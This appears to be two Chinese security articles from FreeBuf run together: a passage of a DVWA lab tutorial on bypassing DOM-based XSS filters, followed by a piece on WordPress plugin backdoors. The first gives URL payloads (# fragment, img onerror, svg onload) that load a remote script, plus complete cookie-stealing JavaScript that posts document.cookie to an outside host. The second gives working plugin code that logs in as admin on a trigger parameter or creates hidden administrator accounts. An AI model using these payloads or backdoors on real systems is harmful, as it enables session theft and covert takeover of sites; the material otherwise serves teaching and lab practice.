前端代码如下,和low级别的一样

<script>
    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

但是后端代码对url的default参数的值做了限制

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过
这里的绕过有两种方式
方式1
url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E

可以看出成功绕过 

通过DVWA学习XSS

方法2
或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(%22xss%22)%3E

注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等,比如

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=alert("xss")%3E

svg的onload事件同样可以在页面加载时执行js代码,产生弹框的效果,同样的标签还有好多
下面我们用这些方法加载远程js脚本获取网站用户的cookie(发送cookie的代码用juery)

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/#?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

img标签onerror事件加载

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

onerror事件后执行js代码,通过js的dom操作创建script标签加载远程脚本,下面是onerror事件后执行的js代码,和上一节的一样 

通过DVWA学习XSS

var b= document.createElement('script'); 
b.setAttribute('src','http://192.168.50.156/dvwaxss/cookie.js');
document.getElementsByTagName('head')[0].appendChild(b);

远程获取cookie脚本

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

通过DVWA学习XSS

同样svg标签的onload也可以,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

通过DVWA学习XSS

以上方法均可以绕过medium加载远程脚本获取网站用户cookie

###high级别###

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

通过DVWA学习XSS

加载远程脚本

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

获取high级别的网站用户cookie

通过DVWA学习XSS

总结

通过对dvwa三种类型xss的学习,可以看出预防xss的方法不光要做到过滤一切用户有害输入,转义可能引起跨站漏洞的标签,最重要的是重http层做到防护,给cookie设置httponly属性,使cookie不能被javascript读取,才能有效防止用户cookie被盗用的问题

本文作者:lawliet,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 – 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。

screen 2017-12-23 at 16.19.57.jpg

在测试环境中,我们只有 admin 一个账号。为了登录这个admin 账号,我们需要进行如下操作

// 当带有 "update" 字样时就执行后门
if (! isset ($_GET['update']))
{
     return;
}

$user = get_user_by('login', 'admin');
if (! is_wp_error($user))
{
    // 清空当前认证信息
    wp_clear_auth_cookie();
    // 设置管理员的认证信息
    wp_set_current_user($user->ID);
    wp_set_auth_cookie($user->ID);
    // 跳转到管理后台
    wp_safe_redirect(user_admin_url());

    exit();
}

我们登录服务器,将插件释放在 wp-content/plugins/001-autologin.php,并激活插件,e.g

screen 2017-12-23 at 16.27.32.jpg

激活后,就可以成功登录了。这里为了方便演示,用的cURL命令

screen 2017-12-23 at 16.31.11.jpg

方案2 – 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 WordPress 里,

$__username = @$_REQUEST['__username'];
$__password = @$_REQUEST['__password'];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
    return;
}

// 创建用户
$user = wp_create_user($__username, $__password, "[email protected]");
if (! is_wp_error($user))
{
    $user = get_user_by('login', $__username);
    // 设置为管理员角色
    $user->set_role('administrator');
    exit();
}

激活插件后,我们触发一下

screen 2017-12-23 at 16.41.31.jpg

使用刚刚提交的账号密码,aka hello:world 登录,发现管理员账号已经添加成功了:

screen 2017-12-23 at 16.37.42.jpg

写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。

完整的测试代码可以在这里下载:https://rasp.baidu.com/download/

*本文作者:c0debreak ,转载请注明来自FreeBuf.COM